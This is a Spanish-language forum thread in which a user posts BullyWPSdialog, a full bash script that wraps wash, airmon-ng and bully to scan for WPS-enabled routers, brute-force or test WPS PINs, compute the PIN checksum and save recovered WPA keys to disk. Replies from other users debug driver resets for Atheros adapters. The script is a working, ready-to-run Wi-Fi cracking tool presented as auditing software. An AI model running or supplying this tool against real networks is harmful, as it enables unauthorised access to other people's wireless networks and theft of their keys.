Seguridad Wireless - Wifi

Sistemas operativos => Zona GNU/Linux => Aplicaciones y diccionarios linux => Mensaje iniciado por: geminis_demon en 24-09-2013, 16:04 (Martes)

Título: BullyWPSdialog v1.0 - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 16:04 (Martes)
Hola, este script es una interface echa con dialog para auditar routers con seguridad WPS utilizando bully de una forma cómoda y visualmente amigable.

Se puede lanzar el ataque de fuerza bruta (probando todos los PINs posibles), o introducir manualmente un PIN en concreto.

El script detecta cuando la mac es del tipo 8c:0c:a3 y lanza el ataque con el parámetro adecuado para que pruebe los PINs que no cumplen con el checksum.

Al finalizar el ataque, si se ha obtenido la clave esta se guarda junto con la información del objetivo en "/root/swireless/BullyWPSdialog/Keys".

Para evitar problemas de incompatibilidad con algunas opciones del script, se recomienda actualizar bully a la última versión.

Por cierto, me he tomado un rato en comentar casi cada línea del script explicando lo que hace cada cosa, para que el que quiera aprender le resulte mas fácil entender el código  ;)


Agradecimientos a USUARIONUEVO, warcry, buckynet, lupox y alister por su ayuda reportando bugs e ideas para mejorar el script.


(http://i.imgur.com/oflcQfa.png)

(http://i.imgur.com/NYfJDO0.png)

Código: [Seleccionar]
#!/bin/bash

# VERSION 0.1  12/09/2013
# -----------------------
# - Fecha de salida
#
# VERSION 0.2  12/09/2013
# -----------------------
# - Solucionado bug con ESSIDs que contengan espacios (Warcry)
#
# VERSION 0.3  13/09/2013
# -----------------------
# - Añadido parametro -N para que las ralink no fallen. (USUARIONUEVO)
#
# VERSION 0.4  13/09/2013
# -----------------------
# - Añadido parametro -F para evitar warnings si cambiamos de ataque secuencial a random o viceversa.
#  (USUARIONUEVO)
#
# VERSION 0.5  19/09/2013
# -----------------------
# - Añadido parámetro -hold para que no se cierre la xterm en caso de que se produzca algún error.
# - Solucionado problema que impedía leer la clave WPA del log de bully.
# - Se sustituye la función de desmontar interfaces en modo monitor por la de desmontar y volver
#   a montar el driver de la interface (es mas efectivo).
# - Ahora al seleccionar objetivo, se comprueba si la clave ya se ha obtenido anteriormente y
#   en caso afirmativo, se muestra la clave junto con la información del objetivo.
#
# VERSION 0.6  24/09/2013
# -----------------------
# - Modificada funciona de reseteo de interface para añadir al final un ifconfig up
# - Ahora se "resetea" la interface también al salir del script.
#
# VERSION 0.7  24/09/2013
# -----------------------
# - Solucionado bug que probocaba que se quedara el PIN "fijado"
#   en el ataque de fuerza bruta habiendo realizado anteriormente
#   un ataque introduciendo un PIN especifico.
# - Solucionado un error ortográfico.
#
# VERSION 0.8.1  26/09/2013
# -----------------------
# - Mejorada la función de detectar driver para identificar correctamnete
#   el driver WiLink.
# - Añadido un sleep después de desmonta el driver y otro después de volver
#   a montarlo, para evitar problemas con el driver ath9k.
#
# VERSION 0.9  29/09/2013
# -----------------------
# - Adaptada la función de salvar la clave WPA (Necesario para que funcione con las
#   últimas versiones de bully).
# - Se añade la función de actualizar Bully desde GitHub.
# - Se añade comprobación de privilegios al ejecutar el script.
# - Algunos cambios menores en el código.
#
# VERSION 1.0  06/02/2014
# -----------------------
# - Se añade la función de blacklistear la interface en la config de NetworkManager
#   para evitar conflictos en Wifislax-4.8


# Variables globales
SCRIPT="BullyWPSdialog"
VERSION="1.0"
BACKTITLE="$SCRIPT $VERSION - By geminis_demon - SeguridadWireless.Net"
TMP="/tmp/$SCRIPT"
KEYS="$HOME/swireless/$SCRIPT/Keys"


# Función que actualiza bully a la última versión
bully_updater() {

# Función que se encarga de descargar, compilar e instalar
update_bully() {

echo -e -n "\n - Descargando Bully ${VERSION_GIT}... "

# Descargamos la última versión de bully
curl -s -o "$TMP/bully-${VERSION_GIT}.zip" \
https://codeload.github.com/bdpurcell/bully/zip/master

if [ $? = 0 ]; then
sleep 1
echo "OK"
else
echo "ERROR"
sleep 1
return 1
fi

echo -e -n "\n - Extrallendo el paquete... "

# Extraemos el .zip
unzip -q "$TMP/bully-${VERSION_GIT}.zip" -d "$TMP"

if [ $? = 0 ]; then
sleep 1
echo "OK"
else
echo "ERROR"
sleep 1
return 1
fi


echo -e -n "\n - Compilando las fuentes... "

# Compilamos el código fuente
cd "$TMP/bully-master/src"
make -j >/dev/null 2>&1

if [ $? = 0 ]; then
sleep 1
echo "OK"
else
echo "ERROR"
sleep 1
return 1
fi

sleep 1

echo -e -n "\n - Instalando Bully... "

# Instalamos bully en /usr/bin
cp bully /usr/bin

if [ $? = 0 ]; then
sleep 1
echo "OK"
else
echo "ERROR"
sleep 1
return 1
fi

echo -e "\n "

}

# Si no hay conexión a internet, no se puede continuar
if [ ! "$(ping google.com -c1 2>/dev/null)" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO HAY CONEXIÓN " \
      --ok-label "Volver al menú" \
      --msgbox "\nPara actualizar bully, primero \
debes conectarte a internet. \n " 0 0
sleep 1

# Volvemos al menú principal
menu
fi

# Guardamos la versión actual en una variable
VERSION="$(bully --version 2>/dev/null)"

# Guardamos la versión de GitHub en una variable
VERSION_GIT="$(curl -s \
https://raw.github.com/bdpurcell/bully/master/src/version.h|\
tr -d '"'|awk '{print $3}')"

# Comprobamos si ya tenemos la última versión
if [ "$VERSION" = "$VERSION_GIT" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " BULLY UPDATER " \
      --ok-label "Volver al menú" \
      --msgbox "\nYa tienes la última versión instalada\n " 0 0

# Volvemos al menú principal
menu
else

# Diálogo que permite elegir si actualizar o no
dialog --backtitle "$BACKTITLE" \
      --title " BULLY UPDATER " \
      --yes-label "Actualizar" \
      --no-label "No actualizar" \
      --yesno "\nHay una actualización de bully disponible \n\
\n  - Última versión: $VERSION_GIT \
\n  - Versión actual: $VERSION \n " 0 0

# Si dialog devuelve el valor 0, procedemos con la actualización
if [ $? = 0 ]; then

# Ejecutamos el updater y guardamos la salida en un archivo
update_bully >"$TMP/updater.txt" &

# Guardamos el proceso del updater en una variable
PID=$!

# Mientras exista el proceso, vamos lellendo la salida del updater
while [ -e /proc/$PID ]; do
sleep 1
TEXT="$(cat "$TMP/updater.txt")"
dialog --backtitle "$BACKTITLE" \
      --title " BULLY UPDATER " \
      --infobox "$TEXT" 0 0
done
sleep 3

# Se vuelve a comprobar la versión instalada
VERSION="$(bully --version 2>/dev/null)"

# Si la versión instalada corresponde con la versión de GitHub,
# significa que todo ha salido bien, en caso contrario
# se informa del error.
if [ "$VERSION" = "$VERSION_GIT" ]; then
MSGBOX="Bully se ha actualizado correctamente \
a la versión $VERSION"
else
MSGBOX="Ocurrió un error durante la actualización"
fi
dialog --backtitle "$BACKTITLE" \
      --title " BULLY UPDATER " \
      --ok-label "Volver al menú" \
      --msgbox "\n$MSGBOX \n " 0 0
     
sleep 1
fi
fi

# Se eliminan los archivos temporales
[ -e "$TMP/bully-${VERSION_GIT}.zip" ] && rm -rf "$TMP/bully-${VERSION_GIT}.zip"
[ -e "$TMP/bully-master" ] && rm -rf "$TMP/bully-master"


# Volvemos al menú principal
menu

}

# Función que obtiene PIN y clave WPA del log de bully
obtener_clave_wpa() {

# En caso de que el retun de bully no sea 0, de da por echo que no se ha obtenido la clave
if [ "$(tail -n 2 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|grep "signal 0$")" ]; then

# Se parsea el log de bully para obtener el PIN y la clave WPA
WPS_PIN="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $2}')"
CLAVE_WPA="$(tail -n 1 "$HOME/.bully/$( echo $BSSID|tr '[:upper:]' '[:lower:]'|tr -d ':').run"|tr ':' ' '|awk '{print $4}')"

# Si el BSSID objetivo cumple con el CheckSum,
# este se calcula para saber cual es el último dígito del PIN
# (ya podría venir el PIN completo en el log de bully ¬¬)
if [ ! "$NO_CHECKSUM" ]; then
WPS_PIN=$(echo $WPS_PIN|cut -b 1,2,3,4,5,6,7)
pin=$WPS_PIN
wps_pin_checksum
WPS_PIN=$WPS_PIN$PIN_p2
fi
else
unset WPS_PIN
unset CLAVE_WPA
fi

}

# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then

# Identificamos el driver de la interface seleccionada
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
if [ ! "$DRIVER" ] && [ -d "/sys/class/net/tiwlan0/wireless" ]; then
DRIVER="WiLink"
fi

# Se desmonta y se vuelve a montar el driver
rmmod -f "$DRIVER" >/dev/null 2>&1
sleep 1
modprobe "$DRIVER" >/dev/null 2>&1
sleep 3

# Se pone la interface "up" para evitar problemas
# con algunos adaptadores inalámbricos
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi

}

# Función comprobar si la interface está asociada a un punto de acceso
comprobacion_interface_asociada() {

# Si la interface está asociada, no se puede continuar
if [ ! "$(iwconfig $INTERFACE|grep "Not-Associated")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Salir" \
      --msgbox "\nPara evitar errores, la interface $INTERFACE \
               no debe estar asociada a un punto de acceso.\n " 0 0
Salir
fi

}

# Función salvar clave WPA
salvar_clave_wpa() {

# Si no se ha obtenido la clave WPA, informamos de ello y volvemos al menú
if [ ! "$CLAVE_WPA" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " PROCESO COMPLETADO " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo ha sido posible obtener la clave WPA\n " 0 0
     
# Si dialog no devuelve el valor 0, salimos
if [ $? != 0 ]; then
reset_iface; Salir
fi

menu
fi

# Si existe la ruta $KEYS y no es un directorio se elimina
if [ -e "$KEYS" ] && [ ! -d "$KEYS" ]; then rm -rf "$KEYS"; fi

# Si no existe la ruta $KEYS la creamos
if [ ! -d "$KEYS" ]; then mkdir -p "$KEYS"; fi

# Salvamos la clave en un archivo de texto
NOMBRE="$ESSID_$(echo "$BSSID"|tr ':' '-')"
cat << EOF >"$TMP/$NOMBRE.key"
    ESSID: $ESSID
    BSSID: $BSSID
  PIN WPS: $WPS_PIN
CLAVE WPA: $CLAVE_WPA
EOF

# Convertimos el texto a formato windows
cat "$TMP/$NOMBRE.key"|sed -e 's/$/\r/' >"$KEYS/$NOMBRE.txt"

# Diálogo que informa donde se ha guardado la clave WPA
dialog --backtitle "$BACKTITLE" \
       --title " PROCESO COMPLETADO " \
       --ok-label "Volver al menú" \
       --msgbox "\n¡Se ha obtenido con exito la clave WPA! \
                \nLa clave ha sido guardada en: \n\n$KEYS/$NOMBRE.txt" 0 0

# Saltamos al menú principal
menu
}

# Función lanzar ataque de fuerza bruta con bully
bully_wps() {

# Si no se ha seleccionado ningún objetivo no se puede continuar
if [ ! "$ESSID" -o ! "$BSSID" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha seleccionado ningún objetivo\n " 0 0
menu
fi

# Si no existe la interface en modo monitor,
# llamamos a la función seleccionar_interface.
if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then
seleccionar_interface
else

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada
fi

# Si el BSSID corresponde con 8C:0C:A3, el PIN no cumple con el CheckSum
if [ "$(echo "$BSSID"|cut -d':' -f1,2,3)" = "8C:0C:A3" ]; then
NO_CHECKSUM="-B"
LONGITUD_PIN="8"
else
unset NO_CHECKSUM
LONGITUD_PIN="7"
fi

# Si se ha elejido la opción de introducir PIN manualmente, mostramos el diálogo para introducir el pin
if [ "$1" = "--Pin" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " INTRODUCIR PIN MANUALMENTE " \
      --cancel-label "Volver al menú" \
      --max-input "$LONGITUD_PIN" \
      --inputbox "\nIn troduce el PIN con un máximo de $LONGITUD_PIN dígitos:" 0 0 \
2>"$TMP/PIN_WPS.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se intruduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/PIN_WPS.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
bully_wps --Pin
fi

# Guardamos en una variable el PIN junto con los parámetros para bully
PIN_WPS="-S -p $(cat "$TMP/PIN_WPS.txt")"
else
unset PIN_WPS
fi

# Lanzamos ataque con bully
xterm  -hold -fg FloralWhite -bg DarkBlue -T "Bully -> $ESSID" -e \
"bully -F -N -b $BSSID -c $CANAL -v 3 $PIN_WPS $NO_CHECKSUM $INTERFACE_MON" & BULLY_PID=$!

# Diálogo que aparecerá mientras se ejecuta el ataque
dialog --backtitle "$BACKTITLE" \
       --infobox "$INFO_AP\nSe ha puesto en marcha el ataque con bully,
                 presiona \"Control+C\" para detener el proceso.\n " 16 49
      
# Si se presiona "Control+C", se detiene el proceso de bully
trap 'kill $BULLY_PID >/dev/null 2>&1' SIGINT

# Mientras el proceso de bully esté activo, el script estrá "durmiendo"
while [ -e "/proc/$BULLY_PID" ]; do
sleep 2
done

# Obtenemos el PIN y clave WPA
obtener_clave_wpa

# Salvamos PIN y clave en un archivo
salvar_clave_wpa

}

# Función seleccionar objetivo
seleccionar_objetivo() {

# Si no se encuentran objetivos, no se puede continuar
if [ ! "$(cat "$TMP/wash_scan.txt")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Volver al menú" \
      --msgbox "\nNo se ha encontrado ningún objetivo con WPS activado.\n " 0 0
menu
fi

# Creamos el menú para seleccionar objetivo
N=1
cat "$TMP/wash_scan.txt"|while read MAC CANAL PWR VER LOCK ESSID; do
if [ "$LOCK" = "Yes" ]; then LOCK="Si"; fi
echo "\"$N)\" \"$MAC    $LOCK       $CANAL     $(($PWR+100))    $ESSID\" \\"
N=$(($N+1))
done >"$TMP/menu_objetivos.txt"

# Diálogo para seleccionar objetivo
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR OBJETIVO " \
       --cancel-label "Volver al menú" \
       --menu "\n              BSSID        Locked   Canal   PWR    ESSID" 0 0 0 \
       --file "$TMP/menu_objetivos.txt" \
2>"$TMP/seleccion.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Definimos los parámetros que se le pasarán a bully
SELECCION=$(cat "$TMP/seleccion.txt")
ESSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|cut -d' ' -f22-)"
BSSID="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $2}')"
CANAL="$(cat "$TMP/menu_objetivos.txt"|tr -d '"'|tr -d '\\'|grep "^$SELECCION"|awk '{print $4}')"

# Comprobamos si la clave ya ha sido obtenida anteriormente
if [ -e "$KEYS/$(echo "$BSSID"|tr ':' '-').txt" ]; then
WPS_PIN="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "PIN WPS:"|awk '{print $3}')"
CLAVE_WPA="$(cat "$KEYS/$(echo "$BSSID"|tr ':' '-').txt"|grep "CLAVE WPA:"|awk '{print $3}')"
else
obtener_clave_wpa
fi

# Saltamos al menú principal
menu

}

# Función escanear con wash en busca de objetivos con WPS activado
escanear_wps() {

# Si no existe la interface en modo monitor,
# llamamos a la función seleccionar_interface.
if [ -z "$INTERFACE_MON" -o ! "$(iwconfig 2>/dev/null|grep "^$INTERFACE_MON")" ]; then
seleccionar_interface
else

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada
fi

# Diálogo para introducir tiempo a escanear
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEAR EN BUSCA DE OBJETIVOS " \
       --cancel-label "Volver al menú" \
       --max-input "2" \
       --inputbox "\nIntroduce el tiempo a escanear en segundos: \n " 0 0 \
2>"$TMP/segundos.txt"

# Si el comando anterior no devuelve el valor 0, volvemos al menú
if [ ! $? = 0 ]; then menu; fi

# Si no se introduce un valor numérico, no se puede continuar
if [ ! "$(cat "$TMP/segundos.txt"|grep "^[0-9]*$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " ERROR " \
      --msgbox "\nDebes introducir un valor numérico\n " 0 0
escanear_wps
fi

# Matámos proceso de wash para evitar conflictos
killall wash >/dev/null 2>&1

# Escaneamos con wash
wash -i $INTERFACE_MON -C -D 2>/dev/null|tail -n +3|grep -v "^$" >"$TMP/wash_scan.txt" &

# Diálogo que muestra barra de progreso mientras se escanea
N2=$(cat "$TMP/segundos.txt")
N1=1
while [ ! $(($N1-1)) -eq $N2 ]; do
PORCENT=$(($(($N1*100))/$N2))
echo $PORCENT
sleep 1
N1=$(($N1+1))
done|\
dialog --backtitle "$BACKTITLE" \
       --title " ESCANEANDO EN BUSCA DE OBJETIVOS " \
       --gauge "" 0 0 \
2>/dev/null

# Cuando pasa el tiempo programado, terminamos el rpoceso de wash
killall wash >/dev/null 2>&1
sleep 1

# Saltamos a la funcion seleccionar objetivo
seleccionar_objetivo
}

# Función seleccionar interface y poner en modo monitor
seleccionar_interface() {

# Si no se encuentra ninguna tarjeta wifi, no se puede continuar
if [ ! "$(iwconfig 2>/dev/null|cut -d' ' -f1|grep -v "^$")" ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
               --ok-label "Salir" \
               --msgbox "\nNo se ha detectado ninguna tarjeta wifi en este equipo.\n " 0 0
Salir
fi

# Creamos el menú para seleccionar la interface
N=1
airmon-ng 2>/dev/null|egrep -v "^Interface|^$"|cut -d'-' -f1|\
while read INTERFACE CHIPSET MODELO DRIVER; do
if [ "$(iwconfig 2>/dev/null|grep "^$INTERFACE"|grep -v "Mode:Monitor")" ]; then
echo "\"$N\" \"$INTERFACE       $CHIPSET $MODELO      $DRIVER\" \\"
N=$(($N+1))
fi
done >"$TMP/menu_interfaces.txt"

# Diálogo para seleccionar interface
dialog --backtitle "$BACKTITLE" \
       --title " SELECCIONAR INTERFACE " \
       --cancel-label "Salir" \
       --menu "\n       Interface   Chipset            Driver" 0 0 0 \
       --file "$TMP/menu_interfaces.txt" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos.
if [ ! $? = 0 ]; then Salir; fi

SELECCION="$(cat "$TMP/seleccion.txt")"
INTERFACE="$(cat "$TMP/menu_interfaces.txt"|tr -d '"'|tr -d '\\'|grep ^$SELECCION|awk '{print $2}')"
IFACE_MAC="$(cat "/sys/class/net/$INTERFACE/address"|tr '[:lower:]' '[:upper:]')"

# Se comprueba que la interface no esté asociada
comprobacion_interface_asociada

# Blacklisteamos la interface en la config de NetworkManager para evitar conflictos
[ "$(which blacklist-iface)" ] && blacklist-iface "$INTERFACE" OFF >/dev/null

# Se reinicia el driver de la interface seleccionada para evitar conflictos
reset_iface

# Ponemos la interface seleccionada en modo monitor
airmon-ng start $INTERFACE >"$TMP/log_airmon-ng.txt" 2>&1

# Si hay algún error al poner la interface en modo monitor no se puede continuar
if [ ! $? = 0 ]; then
dialog --backtitle "$BACKTITLE" \
               --title " ERROR " \
               --ok-label "Salir" \
               --textbox "$TMP/log_airmon-ng.txt" 0 0
        reset_iface; Salir
fi

# Definimos interface en modo monitor
INTERFACE_MON="$(cat "$TMP/log_airmon-ng.txt"|grep "monitor mode enabled"|tr -d ')'|awk '{print $5}')"

dialog --backtitle "$BACKTITLE" \
       --infobox "\nSe utilizará $INTERFACE_MON en modo monitor\n " 0 0
sleep 2

}

# Yeah Niroz was here, computePIN by ZaoChunsheng, C portado a bash
wps_pin_checksum() {
  acum=0
  PIN_p2=0

  while [ $pin -gt 0 ]; do
    acum=$(($acum + (3 * ($pin % 10))))
    pin=$(($pin / 10))
    acum=$(($acum + ($pin % 10)))
    pin=$(($pin / 10))
  done

  result=$(((10 - ($acum % 10)) % 10))
  PIN_p2=$(($result % 10000000))
}


Salir() {

[ "$INTERFACE_MON" ] && airmon-ng stop "$INTERFACE_MON" >/dev/null 2>&1
[ "$(which blacklist-iface)" ] && blacklist-iface "$INTERFACE" ON >/dev/null
exit
}

# Función menú principal
menu() {

# Información del objetivo
INFO_AP="
$(if [ "$ESSID" ] && [ "$BSSID" ] && [ "$CANAL" ]; then
echo "\n\n        INFORMACIÓN DEL OBJETIVO\n"
echo "   ************************************  \n"
echo "      ESSID: $ESSID\n"
echo "      BSSID: $BSSID\n"
echo "      Canál: $CANAL\n"
if [ "$WPS_PIN" ] && [ "$CLAVE_WPA" ]; then
echo "    PIN WPS: $WPS_PIN\n"
echo "  Clave WPA: $CLAVE_WPA\n"
echo "   ************************************  \n\n"
else
echo "   ************************************  \n\n"
fi
fi)"

# Diálogo con opciones del menú principal
dialog --backtitle "$BACKTITLE" \
       --title " MENU PRINCIPAL " \
       --cancel-label "Salir" \
       --menu "$INFO_AP\nSelecciona una opción:" 0 0 0 \
     "1)" "Escanear en busca de objetivos" \
     "2)" "Comenzar ataque de fuerza bruta" \
     "3)" "Probar un PIN específico" \
     "4)" "Seleccionar otro objetivo" \
     "5)" "Actualizar Bully" \
2>"$TMP/seleccion.txt"

# Si dialog no devuelve el valor 0, salimos
if [ ! $? = 0 ]; then reset_iface; Salir; fi

# Dependiendo de la opción elegida, se llama a la función correspondiente
case $(cat "$TMP/seleccion.txt"|tr -d ')') in
1 ) escanear_wps;;
2 ) bully_wps;;
3 ) bully_wps --Pin;;
4 ) seleccionar_objetivo;;
5 ) bully_updater;;
esac
}

# Si no tenemos permisos de root, no se puede continuar
if [ $(id -u) != 0 ]; then
dialog --backtitle "$BACKTITLE" \
      --title " NO SE PUEDE CONTINUAR " \
      --ok-label "Salir" \
      --msgbox "\nPara utilizar este script es necesario tener \
permisos de root. \n " 0 0
Salir
fi      

# Si existe la ruta $TMP y no es un directorio se elimina
if [ -e "$TMP" ] && [ ! -d "$TMP" ]; then rm -rf "$TMP"; fi

# Si no existe la ruta $TMP la creamos
if [ ! -d "$TMP" ]; then mkdir -p "$TMP"; fi

# Si el script se cierra por alguna razón, salimos de forma segura
trap "Salir" SIGHUP SIGILL

# Comienza el script mostrando el menú principal
menu
Título: Re:
Publicado por: lupox en 24-09-2013, 16:37 (Martes)
He observado dos, cosas a mejorar. Cuando pruebas un pin especifico lo utiliza aunque cambies la mac objetivo. Y por lo menos en mi caso, una vez que sales y vuelves a entrar. Detecta la interfact pero cuando le das a escanear la down, y no monta la mon0. Resultado no detecta ninguna red. Game over.

Enviado desde Tapaltak 4
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 18:12 (Martes)
Citar
Cuando pruebas un pin especifico lo utiliza aunque cambies la mac objetivo.

Solucionado, he editado el primer post. Gracias  ;)


Citar
Y por lo menos en mi caso, una vez que sales y vuelves a entrar. Detecta la interfact pero cuando le das a escanear la down, y no monta la mon0.

Este bug no consigo reproducirlo.

Dices que sales del script, lo vuelves a ejecutar, y no monta la tarjeta en modo monitor, ¿es eso?

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: vk496 en 24-09-2013, 18:28 (Martes)
Menudo trabajo que te has currado! >:(

Me ha gustado mucho eso de ir comentando cada linea, haré lo mismo con mi script  ^-^ ;D

Salu2
Título: Re:
Publicado por: lupox en 24-09-2013, 18:31 (Martes)
Si, al salir desmonta la tarjeta wlan0, a mi solo me funciona la primera vez q ejecuto el sript, mientras no salga puedo cambiar de mac, y todo normal, pero cuando salgo,  y lo ejecuto de nuevo, ya no monta la tarjeta en modo monitor.
La tarjeta es una tplink que tiene problemas con macchanger. Por eso te digo que en mi caso.
Chip Ar291 una atheros ath9k_htc
puede ser en la parte que usa el modprobe , q use ath9k en vez de ath9 k_htc.
 .....Si haces un ifconfig  solo detecta eth y no wlan0 si la levantas al mandarle escanear....
Lo curioso es que funcione la primera vez.
Bueno cuando tenga tiempo ya miraré de doparlo con modprobe ath9k_htc
 
 

Enviado desde Tapaltak 4
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 18:37 (Martes)
Y el script no muestra ningún error? se supone que si hay algún problema al poner la tarjeta en modo monitor debería mostrar algún error por pantalla.

Después de salir del script, ¿puedes poner la tarjeta en modo monitor manualmente ejecutando airmon-ng strat wlan0?
Título: Re:
Publicado por: lupox en 24-09-2013, 18:47 (Martes)
Yes, y si ejecuto cualquier script, funciona normalmente. Por comandos con levantar la interfact.  Es suficiente.

En cuanto a error en el scrit dice algo así como tarjeta.    modo monitor. Y la primera vez tarjeta mon0 modo monitor.

Enviado desde Tapaltak 4
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 19:12 (Martes)
eres un crack geminis  >:( >:( >:(

si tengo 5 minutillos ya que llevo unos dias muy liado, pegandome analizando binarios y si no te da por hacerlo a ti, hago un video de presentacion en sociedad

 :D ;) ;D
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 19:23 (Martes)
eres un crack geminis  >:( >:( >:(

si tengo 5 minutillos ya que llevo unos dias muy liado, pegandome analizando binarios y si no te da por hacerlo a ti, hago un video de presentacion en sociedad

 :D ;) ;D

Ok te dejo a ti lo del vídeo que se que te gusta mas  >:D

A mi muchas veces se me ocurre hacer un vídeo de algo y no lo hago con tal de no tener que pasarme media ora pixelando las MACs  ;D
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 19:33 (Martes)

A mi muchas veces se me ocurre hacer un vídeo de algo y no lo hago con tal de no tener que pasarme media ora pixelando las MACs  ;D

que cabron !!!

como si a mi me gustara el pasarme la tarde pixelando, es un coñazo que te cagas...

pero por lo menos elijo la musica, que la musica chunga que pones en tus videos...  ^-^

 ;D ;D ;D
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 24-09-2013, 19:51 (Martes)
las atheros ar9000 en usb , usan dos drivers


ath9k   +  ath9k_htc

si tubmas ath9k el ath9k_htc tambien se va ... pero si levantas solo el ath9k , el otro no levantara

asi pues

modprobe ath9k + modprobe ath9k_htc

__________

Por explicarlo un poco mas el ath9k es el driver padre , y de hay si es necesario sale el ath9K_htc  , el problema es que puedes desmontar el ath9k y quedarse atontao el      _htc o que simplemente no lo levante y solo suba el ath9k , dejando fuera de combate la atheros 9000


Yo puedo testearlo puesto que tengo un par de esas.
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 24-09-2013, 20:27 (Martes)
Dejamos de lado lo que explique justo en el post de encima de este..por que el driver es remontado correctamente.


LOGS EN /TMP


log_airmon-ng.txt



Interface   Chipset      Driver





es decir , NADA  ... ya desde hay esta fallando ...

menu_interfaces.txt

"1" "wlan1       Atheros AR9271      ath9k" \


voy a probar con otra usb , de otro chip ...un ralink ...a ver que pasa.

Creo que la cosa esta en que cuando la interface es wlan0 TODO OK  , pero no estoy seguro de eso.

Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: USUARIONUEVO en 24-09-2013, 20:31 (Martes)
WTF ¡¡¡


realtek 8187l  OK
ralink 3070 OK


 :'(

Habiendo mas interfaces , asi que es algo especifico con el atheros 9000 usb
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 20:46 (Martes)
Código: [Seleccionar]
# Función que desmonta y vuelve a montar el driver de la interface seleccionada
reset_iface() {

if [ "$INTERFACE" ]; then
DRIVER="$(basename "$(ls -l "/sys/class/net/$INTERFACE/device/driver")")"
rmmod -f "$DRIVER"       >/dev/null 2>&1
modprobe "$DRIVER"       >/dev/null 2>&1
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi
}

donde esta el ifconfig "$INTERFACE" down  ???


si el script solo se limita a poner la interface en up y ya estaba en up y con algun proceso heredado, estamos en las mismas, la interface seguirá cuajada

yo esa parte la dejaria asi

Código: [Seleccionar]
# Función de limpieza que tumba y levanta la interface seleccionada para desligarla de algun proceso heredado
reset_iface() {

if [ "$INTERFACE" ]; then
ifconfig "$INTERFACE" down >/dev/null 2>&1
ifconfig "$INTERFACE" up >/dev/null 2>&1
fi
}
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 20:53 (Martes)
Código: [Seleccionar]
rmmod -f "$DRIVER"       >/dev/null 2>&1
modprobe "$DRIVER"       >/dev/null 2>&1

Lo que hace eso es desmontar y volver a montar el driver, y eso las deja down, por tanto solo hace falta subirlas.

Es mas efectivo desmontar el driver y volver a montarlo, que hacer un ifconfig wlan0 down

Además al hacer eso, también se desmonta automáticamente mon0 si es que existiera, por tanto me ahorro hacer otra función para desmontar las tarjetas que estén en modo monitor  ;)
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 20:55 (Martes)
pero no hace falta desmontar el driver, con tumbarlas y volverlas a levantar es suficiente
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: geminis_demon en 24-09-2013, 21:00 (Martes)
pero no hace falta desmontar el driver, con tumbarlas y volverlas a levantar es suficiente

jajaja nada... que no le ha gustado a el eso de que desmonte el driver... pues nada, ahora tendré que hacer otra función que detecte cuando está en el ordenador de warcry y en ese caso no desmonte el driver..  ;D
Título: Re: BullyWPSdialog - Interface dialog para auditar WPS con bully
Publicado por: warcry en 24-09-2013, 21:02 (Martes)


Es mas efectivo desmontar el driver y volver a montarlo, que hacer un ifconfig wlan0 down

